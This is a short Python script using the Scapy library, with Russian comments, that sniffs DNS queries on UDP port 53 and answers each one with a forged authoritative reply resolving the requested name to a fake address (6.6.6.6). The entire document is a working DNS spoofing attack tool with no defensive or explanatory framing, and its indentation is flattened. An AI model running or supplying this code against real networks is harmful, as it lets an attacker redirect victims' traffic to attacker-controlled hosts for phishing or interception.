from scapy.all import *
def dns_callback(pkt):
if pkt.haslayer(DNSqr):
# Если спрашивают любой сайт (например, google.com)
qname = pkt[DNSqr].qname.decode()
print(f"Перехватили запрос на {qname}")
# Собираем фальшивый ответ
reply = IP(dst=pkt[IP].src, src=pkt[IP].dst)/ \
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/ \
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=qname, ttl=10, rdata="6.6.6.6")) # Фейковый IP
send(reply, verbose=0)
print("DNS Пограничник запущен...")
sniff(filter="udp port 53", prn=dns_callback)